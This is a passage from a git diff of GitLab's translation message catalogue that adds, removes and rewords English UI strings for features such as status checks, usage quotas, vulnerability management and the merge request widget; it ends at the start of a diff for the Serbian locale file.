msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/sr_CS/gitlab.po b/locale/sr_CS/gitlab.po
index 493438287e7..f00e16c3550 100644
--- a/locale/sr_CS/gitlab.po
+++ b/locale/sr_CS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr-CS\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
